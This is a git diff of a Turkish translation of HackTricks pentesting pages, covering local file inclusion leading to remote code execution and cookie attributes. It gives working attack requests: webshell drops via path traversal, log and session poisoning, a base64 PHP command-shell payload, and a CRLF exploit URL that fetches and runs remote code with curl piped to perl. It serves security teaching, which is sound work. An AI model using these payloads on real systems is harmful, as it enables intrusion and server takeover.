-Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve bununla birlikte **base64** veya **rot13** gibi diğer filtreler de kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri **diğer karakterleri başa yerleştirmek ve sızdırmak için** kullanılır. +Daha sonra, ilk karakteri leak etmek için **`dechunk`** filtresi **base64** veya **rot13** gibi diğerleriyle birlikte kullanılıyor ve son olarak **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri diğer karakterleri başa yerleştirip onları leak etmek için kullanılıyor. -**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedefi yalnızca bu ile okuyun)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Teknik detaylar için belirtilen yazıya bakın! +Teknik detaylar için bahsedilen post'a bakın! ## LFI2RCE -### Yol Geçişi ile Rastgele Dosya Yazma (Webshell RCE) +### Arbitrary File Write via Path Traversal (Webshell RCE) -Sunucu tarafı kodu, kullanıcı kontrolündeki verileri (örneğin, bir dosya adı veya URL) kullanarak hedef yolu oluşturduğunda ve bunu kanonize etmeden ve doğrulamadan yaparsa, `..` segmentleri ve mutlak yollar, hedef dizinden çıkabilir ve rastgele bir dosya yazma işlemi gerçekleştirebilir. Yükü web'e açık bir dizine yerleştirebilirseniz, genellikle bir webshell bırakarak kimlik doğrulaması gerektirmeyen RCE elde edersiniz. +Dosya alan/yükleyen server-side kodu, hedef yolu kullanıcı kontrollü veri (örn. filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, `..` segmentleri ve absolute path'ler amaçlanan dizinden kaçıp arbitrary file write'e yol açabilir. Eğer payload'ı web-exposed bir dizine yerleştirebiliyorsanız, genellikle unauthenticated RCE elde edersiniz — webshell bırakarak. -Tipik istismar iş akışı: -- Bir yol/dosya adı kabul eden ve içeriği diske yazan bir uç noktada veya arka planda çalışan bir işçi içinde bir yazma ilkesini tanımlayın (örneğin, mesaj odaklı alma, XML/JSON komut işleyicileri, ZIP çıkarıcıları vb.). -- Web'e açık dizinleri belirleyin. Yaygın örnekler: +Tipik exploitation workflow: +- Path/filename kabul eden ve içeriği diske yazan bir endpoint veya background worker'da bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.). +- Web-exposed dizinleri belirleyin. Yaygın örnekler: - Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → `shell.jsp` bırakın -- IIS: `C:\inetpub\wwwroot\` → `shell.aspx` bırakın -- Hedef depolama dizininden web köküne çıkacak bir geçiş yolu oluşturun ve webshell içeriğinizi ekleyin. -- Bırakılan yüke göz atın ve komutları çalıştırın. +- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` +- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Amaçlanan storage dizininden webroot'a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin. +- Bıraktığınız payload'a gidin ve komutları çalıştırın. Notlar: -- Yazma işlemini gerçekleştiren zayıf hizmet, HTTP dışındaki bir portta dinleyebilir (örneğin, TCP 4004'te bir JMF XML dinleyicisi). Ana web portalı (farklı port) daha sonra yükünüzü sunacaktır. -- Java yığınlarında, bu dosya yazma işlemleri genellikle basit `File`/`Paths` birleştirmesi ile uygulanır. Kanonizasyon/izin listesi eksikliği temel hatadır. +- Yazmayı gerçekleştiren vulnerable service non-HTTP portunda dinliyor olabilir (örn. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve eder. +- Java stack'lerinde, bu dosya yazımları genellikle basit `File`/`Paths` concatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir. -Genel XML/JMF tarzı örnek (ürün şemaları değişir - DOCTYPE/gövde sarmalayıcı geçiş için alakasızdır): +Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -465,26 +466,26 @@ in.transferTo(out); ``` -Bu sınıf hataları yenmek için sertleştirme: -- Kanonik bir yola çözümleyin ve bunun izin verilen bir temel dizinin alt öğesi olduğunu zorunlu kılın. -- `..`, mutlak kökler veya sürücü harfleri içeren herhangi bir yolu reddedin; üretilen dosya adlarını tercih edin. -- Yazıcıyı düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini sunulan köklerden ayırın. +Sertleştirme ile bu sınıftaki hatalar engellenir: +- Kanonik bir yola çevirin ve bunun izin verilen (allow-listed) temel dizinin bir alt dizini olduğunu zorunlu kılın. +- `..`, absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercihen üretilmiş dosya adlarını kullanın. +- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın. -## Uzaktan Dosya Dahil Etme +## Remote File Inclusion -Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](#remote-file-inclusion). +Daha önce açıklandı, [**follow this link**](#remote-file-inclusion). -### Apache/Nginx günlük dosyası aracılığıyla +### Apache/Nginx günlük dosyası üzerinden -Apache veya Nginx sunucusu **LFI'ye karşı savunmasızsa** dahil etme işlevi içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **``** gibi bir php shell ayarlayın ve o dosyayı dahil edin. +Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** dosyalarına erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine bir php shell olarak **``** yerleştirip o dosyayı include edebilirsiniz > [!WARNING] -> **Shell için çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP burada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**. +> Unutmayın ki shell için **tek tırnak** yerine **çift tırnak kullanırsanız**, çift tırnaklar "_**quote;**_" stringine dönüştürülür, **PHP orada bir hata fırlatır** ve **hiçbir şey çalıştırılmaz**. > -> Ayrıca, **payload'ı doğru yazdığınızdan emin olun** yoksa PHP, günlük dosyasını yüklemeye çalıştığında her seferinde hata verecektir ve ikinci bir fırsatınız olmayacaktır. +> Ayrıca, **payload'u doğru yazdığınızdan** emin olun; aksi halde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz. -Bu, diğer günlüklerde de yapılabilir ama **dikkatli olun,** günlüklerdeki kod URL kodlanmış olabilir ve bu Shell'i bozabilir. **"basic"** yetkilendirme başlığı, Base64'te "kullanıcı:şifre" içerir ve günlüklerde çözülür. PHPShell bu başlık içine yerleştirilebilir.\ -Diğer olası günlük yolları: +Bu diğer loglarda da yapılabilir ancak **dikkatli olun,** logların içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 içinde "user:password" içerir ve logların içinde decode edilir. PHPShell bu header içine yerleştirilebilir.\ +Diğer olası log yolları: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -498,169 +499,180 @@ Diğer olası günlük yolları: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### E-posta ile +### Via Email -**Bir e-posta gönderin** iç hesap (user@localhost) PHP yüklemenizi içeren `` ve kullanıcı e-postasına **`/var/mail/`** veya **`/var/spool/mail/`** gibi bir yol ile dahil etmeye çalışın. +**Bir e-posta gönderin** internal bir hesaba (user@localhost) içinde PHP payload'unuz gibi `` bulunacak şekilde ve kullanıcının mailini şu yolları include etmeyi deneyin: **`/var/mail/`** veya **`/var/spool/mail/`** -### /proc/\*/fd/\* ile +### Via /proc/\*/fd/\* -1. Birçok shell yükleyin (örneğin: 100) -2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir). +1. Çok sayıda shells yükleyin (örneğin: 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD file descriptor (o da brute force ile bulunabilir) -### /proc/self/environ ile +### Via /proc/self/environ -Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyası içinde yansıtılacaktır. +Bir log dosyası gibi, payload'u User-Agent içine gönderin; bu /proc/self/environ dosyasında yansıyacaktır. ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Yükleme yoluyla +### Üzerinden upload -Eğer bir dosya yükleyebiliyorsanız, sadece ona shell yüklemesini enjekte edin (örneğin: ``). +Eğer bir dosya upload edebiliyorsanız, içine sadece shell payload enjekte edin (ör. : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'nin meta verilerine enjekte etmek en iyisidir. +Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin meta verisine enjekte etmek en iyisidir ### Zip dosyası yükleyerek -Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin: +PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Via PHP oturumları +### PHP sessions ile -Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin +Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin. ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarında saklanır. +PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Keki `` olarak ayarlayın. +Cookie'yi `` olarak ayarla ``` login=1&user=&pass=password&lang=en_us.php ``` -PHP oturum dosyasını dahil etmek için LFI'yi kullanın. +PHP session file'ını include etmek için LFI'yi kullan. ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### Via ssh +### ssh ile -Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\/.ssh/id_rsa**'ya erişmeye çalışın. +Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\/.ssh/id_rsa** dosyasına erişmeyi deneyin -### **Via** **vsftpd** _**logs**_ +### **Üzerinden** **vsftpd** _**günlükleri**_ -FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı varsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir: +FTP sunucusu vsftpd'nin logları _**/var/log/vsftpd.log**_ konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir: -1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin. -2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ konumundan alın. +1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin. +2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ dosyasından alın. -### Via php base64 filter (using base64) +### php base64 filtresi ile (base64 kullanarak) -[Bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, filtre "." karakterini görmezden gelir ve base64'e "php" ekler. İşte bir örnek payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (no file needed) +### php filters ile (dosya gerekmez) + +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. -Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak rastgele içerik** üretebileceğinizi açıklar. Bu, temelde **dahil etmek için rastgele php kodu** üretebileceğiniz anlamına gelir **bunu bir dosyaya yazmanıza gerek kalmadan**. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Via segmentation fault +### Segmentation fault ile + +**Yükleyin** `/tmp` içinde **geçici** olarak saklanacak bir dosyayı, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz. -**Geçici** olarak `/tmp` dizinine kaydedilecek bir dosya **yükleyin**, ardından **aynı istekte** bir **segmentation fault** tetikleyin, ve sonra **geçici dosya silinmeyecek** ve onu arayabilirsiniz. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx temp file storage +### Nginx temp file storage ile + +Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz: -Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Via PHP_SESSION_UPLOAD_PROGRESS +### PHP_SESSION_UPLOAD_PROGRESS ile + +Eğer bir **Local File Inclusion** bulduysanız, **session**'ınız olmasa ve `session.auto_start` `Off` olsa bile. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **otomatik olarak session'i etkinleştirir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz: -Eğer bir **Local File Inclusion** bulduysanız, hatta **oturumunuz yoksa** ve `session.auto_start` `Kapalı` ise. **`PHP_SESSION_UPLOAD_PROGRESS`**'i **multipart POST** verilerinde sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via temp file uploads in Windows +### Windows'ta temp file uploads ile + +Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz: -Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa, RCE elde edebilirsiniz: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Via `pearcmd.php` + URL args +### `pearcmd.php` + URL args ile -Bu [**yazıda açıklandığı gibi**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa, URL üzerinden script'e argüman geçmenin mümkün olduğu belirtilmiştir. +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -Aşağıdaki istek, `/tmp/hello.php` dizininde `` içeriği ile bir dosya oluşturur: +The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder (buradan [**buraya**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Aşağıdaki bir CRLF vuln'ü istismar ederek RCE elde ediyor (kaynak [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### phpinfo() Üzerinden (file_uploads = on) +### phpinfo() ile (file_uploads = on) + +Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u açığa çıkaran ve file_uploads = on olan bir dosya varsa RCE elde edebilirsiniz: -Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u gösteren bir dosya ile file_uploads = on ise RCE elde edebilirsiniz: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Yol Açıklaması Üzerinden +### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile + +Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **exfiltrate** edebiliyorsanız AMA **sunucu**, dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını **kontrol ediyorsa**, bu kontrolü bu **Race Condition** ile **atlatmayı** deneyebilirsiniz: -Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Sonsuz Bekleme + Brute Force Üzerinden +### eternal waiting + bruteforce ile + +Eğer LFI'yi **upload temporary files** için kötüye kullanabiliyor ve sunucunun PHP yürütmesini **hang** edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya isimlerini **bruteforce** edebilirsiniz: -Eğer LFI'yi **geçici dosyalar yüklemek** için kötüye kullanabiliyorsanız ve sunucunun PHP yürütmesini **dondurmasını** sağlayabiliyorsanız, o zaman **geçici dosya adlarını saatlerce brute force** yaparak bulabilirsiniz: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Fatal Error'a +### To Fatal Error -Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir). +Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor). -**Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\ -_Hatta bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._ +**Bunun nasıl faydalı olduğunu bilmiyorum ama işe yarayabilir.**\ +_PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir._
-## Referanslar +## Kaynaklar - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) -- [Horizon3.ai – Destek Talebinden Sıfır Gün (FreeFlow Core yol geçişi → keyfi yazma → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) -- [Xerox Güvenlik Bülteni 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) +- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) +- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) +- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index a43995d6f..01bc190ec 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -1,153 +1,163 @@ -# Çerez Hacking +# Cookies Hacking {{#include ../../banners/hacktricks-training.md}} -## Çerez Özellikleri +## Cookie Öznitelikleri -Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellik ile gelir. İşte bu özelliklerin daha pasif bir sesle bir özeti: +Cookies, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özniteliğe sahiptir. İşte bu özniteliklerin daha pasif bir dille özeti: -### Süre Dolma ve Max-Age +### Expires ve Max-Age -Bir çerezin son kullanma tarihi `Expires` özelliği ile belirlenir. Tersine, `Max-age` özelliği, bir çerezin silinmesine kadar geçen süreyi saniye cinsinden tanımlar. **Daha modern uygulamaları yansıttığı için `Max-age` seçin.** +Bir cookie'nin sona erme tarihi `Expires` özniteliğiyle belirlenir. Buna karşılık, `Max-age` özniteliği cookie'nin silinmesine kadar geçen süreyi saniye cinsinden tanımlar. `Max-age` daha modern uygulamaları yansıttığı için tercih edilmelidir. -### Alan +### Domain -Bir çerezi alacak olan ana bilgisayarlar `Domain` özelliği ile belirtilir. Varsayılan olarak, bu çerezi veren ana bilgisayara ayarlanır, alt alan adlarını içermez. Ancak, `Domain` özelliği açıkça ayarlandığında, alt alan adlarını da kapsar. Bu, `Domain` özelliğinin belirlenmesini daha az kısıtlayıcı bir seçenek haline getirir ve alt alan adları arasında çerez paylaşımının gerekli olduğu senaryolar için faydalıdır. Örneğin, `Domain=mozilla.org` ayarlandığında, `developer.mozilla.org` gibi alt alan adlarında çerezlere erişim sağlanır. +Bir cookie'yi alacak hostlar `Domain` özniteliğiyle belirtilir. Varsayılan olarak bu, cookie'yi çıkaran host olarak ayarlanır ve alt alan adlarını kapsamaz. Ancak `Domain` özniteliği açıkça ayarlandığında alt alan adlarını da kapsar. Bu, subdomainler arasında cookie paylaşımının gerekli olduğu senaryolar için daha az kısıtlayıcı bir seçenek sağlar. Örneğin, `Domain=mozilla.org` ayarlanırsa cookie'ler `developer.mozilla.org` gibi alt alan adlarında da erişilebilir olur. -### Yol +### Path -`Cookie` başlığının gönderilmesi için istenen URL'de bulunması gereken belirli bir URL yolu `Path` özelliği ile belirtilir. Bu özellik, `/` karakterini bir dizin ayırıcı olarak kabul eder ve alt dizinlerde eşleşmelere de izin verir. +`Path` özniteliği, `Cookie` başlığının gönderilmesi için istenen URL'de bulunması gereken belirli bir URL yolunu belirtir. Bu öznitelik `/` karakterini dizin ayırıcı olarak kabul eder ve alt dizinlerde eşleşmelere izin verir. ### Sıralama Kuralları -İki çerez aynı isme sahip olduğunda, gönderilmek üzere seçilen çerez: +Aynı ada sahip iki cookie olduğunda, gönderilecek olan cookie şu esaslara göre seçilir: -- İstenen URL'deki en uzun yolu eşleşen çerez. -- Yollar aynıysa en son ayarlanan çerez. +- İstenen URL'de en uzun path ile eşleşen cookie. +- Pathler aynıysa en son ayarlanan cookie. ### SameSite -- `SameSite` özelliği, çerezlerin üçüncü taraf alanlardan gelen isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayarı vardır: -- **Strict**: Çerezin üçüncü taraf isteklerinde gönderilmesini kısıtlar. -- **Lax**: Çerezin üçüncü taraf web siteleri tarafından başlatılan GET istekleri ile gönderilmesine izin verir. -- **None**: Çerezin herhangi bir üçüncü taraf alanından gönderilmesine izin verir. +- `SameSite` özniteliği, cookie'lerin üçüncü taraf alanlardan gelen isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar: +- **Strict**: Cookie'nin üçüncü taraf isteklerinde gönderilmesini kısıtlar. +- **Lax**: Üçüncü taraf siteler tarafından başlatılan GET istekleriyle cookie'nin gönderilmesine izin verir. +- **None**: Cookie'nin herhangi bir üçüncü taraf alanından gönderilmesine izin verir. -Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolar arasında beklenildiği gibi davranmalarını sağlamaya yardımcı olabilir. +Cookie'leri yapılandırırken, bu özniteliklerin anlaşılması farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olur. -| **İstek Türü** | **Örnek Kod** | **Çerezler Ne Zaman Gönderilir** | -| ---------------- | ---------------------------------- | --------------------- | -| Bağlantı | \\ | NotSet\*, Lax, None | -| Önceden Yükleme | \ | NotSet\*, Lax, None | -| Form GET | \ | NotSet\*, Lax, None | -| Form POST | \ | NotSet\*, None | -| iframe | \ | NotSet\*, None | -| AJAX | $.get("...") | NotSet\*, None | -| Resim | \ | NetSet\*, None | +| **İstek Türü** | **Örnek Kod** | **Cookies Gönderildiğinde** | +| ---------------- | ---------------------------------- | --------------------------- | +| Link | \\ | NotSet\*, Lax, None | +| Prerender | \ | NotSet\*, Lax, None | +| Form GET | \ | NotSet\*, Lax, None | +| Form POST | \ | NotSet\*, None | +| iframe | \ | NotSet\*, None | +| AJAX | $.get("...") | NotSet\*, None | +| Image | \ | NetSet\*, None | -Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) kaynağından alınmış ve hafifçe değiştirilmiştir.\ -_**SameSite**_ özelliğine sahip bir çerez, **CSRF saldırılarını azaltacaktır**. +Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ +SameSite özniteliğine sahip bir cookie, oturum gerektiren durumlarda CSRF saldırılarını azaltmaya yardımcı olur. -**\*Chrome80 (şub/2019) itibarıyla, bir çerez için varsayılan davranış, çerez samesite** **özelliği yoksa lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Bu değişiklik uygulandıktan sonra, **SameSite** **politikası olmayan çerezler Chrome'da** **ilk 2 dakika boyunca None olarak ve ardından üst düzey çapraz site POST isteği için Lax olarak** **işlenecektir.** +**\*Dikkat: Chrome80 (feb/2019) itibarıyla cookie'de samesite** **özniteliği olmayan cookie'lerin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ +Bu değişikliğin uygulanmasından sonra geçici olarak, Chrome'da **SameSite politikası olmayan cookie'ler** ilk **2 dakika boyunca None** olarak işlenecek ve ardından üst düzey çapraz-site POST istekleri için Lax olarak değerlendirilecektir. -## Çerez Bayrakları +## Cookie Bayrakları ### HttpOnly -Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `document.cookie`) +Bu, **istemcinin** cookie'ye erişimini engeller (örneğin **Javascript** ile: `document.cookie`) -#### **Aşmalar** +#### **Atlatma Yöntemleri** + +- Eğer sayfa isteklerin cevabı olarak cookie'leri gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'i suistimal ederek bu sayfaya istek göndermek ve yanıt içerisindeki cookie'leri çalmak mümkün olabilir (örnek için bakınız [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)). +- Bu, sunucunun yanıtının (eğer bu HTTP metodu mevcutsa) gönderilen cookie'leri 